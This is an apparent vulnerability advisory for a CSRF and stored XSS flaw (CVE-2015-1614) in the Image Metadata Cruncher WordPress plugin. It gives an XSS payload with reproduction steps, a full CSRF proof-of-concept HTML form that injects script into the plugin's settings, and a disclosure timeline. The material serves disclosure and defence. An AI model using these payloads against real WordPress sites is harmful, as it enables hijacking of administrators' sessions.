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WordPress Image Metadata Cruncher CSRF / XSS Vulnerabilities
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# Title: CSRF / Stored XSS Vulnerability in IMAGE-MEtadata-Cruncher Wordpress Plugin
# Author: Kaustubh G. Padwad
# CVE-ID : CVE-2015-1614
# Plugin Homepage: https://wordpress.org/plugins/image-metadata-cruncher/
# Severity: Medium
# Description:
# Vulnerable Parameter: Alternate text,Caption,Custom image meta tags
# About Vulnerability: This plugin is vulnerable to a combination of CSRF/XSS attack meaning that if an admin user can be tricked to visit a crafted URL created by attacker (via spear phishing/social engineering), the attacker can insert arbitrary script into admin page. Once exploited, admin’s browser can be made to do almost anything the admin user could typically do by hijacking admin's cookies etc.
# Vulnerability Class:
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29
Cross Site Scripting (https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_(XSS))
# Steps to Reproduce: (POC):
After installing the plugin
Stored XSS:
1. Goto settings -> image metadata cruncher
2. Paste this payload – “<script>alert("1")</script> “ in either alternet text,caption,or Custom.
3. once pasted it will popup the alert BOX ;)
4. Visit settings page of this plugin anytime later and you can see the script executing as it is stored.
# CSRF POC
This Plugin is also vulnerable for CSRF Attack also below is the POC for the same
<html>
<body>
<form action="http://localhost/wordpress/wp-admin/options.php" method="POST">
<input type="hidden" name="option_page" value="image_metadata_cruncher_title" />
<input type="hidden" name="action" value="update" />
<input type="hidden" name="_wpnonce" value="0061596f3e" />
<input type="hidden" name="_wp_http_referer" value="/wordpress/wp-admin/plugins.php?page=image_metadata_cruncher-options" />
<input type="hidden" name="option_page" value="image_metadata_cruncher_alt" />
<input type="hidden" name="action" value="update" />
<input type="hidden" name="_wpnonce" value="d3134676c2" />
<input type="hidden" name="_wp_http_referer" value="/wordpress/wp-admin/plugins.php?page=image_metadata_cruncher-options" />
<input type="hidden" name="image_metadata_cruncher[enable_highlighting]" value="enable" />
<input type="hidden" name="image_metadata_cruncher[title]" value="{ IPTC:Headline }" />
<input type="hidden" name="image_metadata_cruncher[alt]" value="<script>alert("1")</script>" />
<input type="hidden" name="image_metadata_cruncher[caption]" value="alert("1")" />
<input type="hidden" name="image_metadata_cruncher[description]" value="{ IPTC:Caption | EXIF:ImageDescription }" />
<input type="hidden" name="submit" value="Save Changes" />
<input type="submit" value="Submit request" />
</form>
</body>
Next time when u navigate to page you will see XSS in action cheers ;)
Mitigation:
Developer will fix this in next realese.
# Disclosure:
1-feb-2015 Repoerted to Developer
2-Feb-2015 Acknodlagement from Developer
8-feb-2015 Ask update from developer
13-feb-2015 Inform developer about Public discloser with confirmation of patching this in next realese
14-feb-2015 Inform to Bugtraq,Public Disclose
17-feb-2015 Reposting with cve and csrf POC
# 0day.today [2024-11-16] #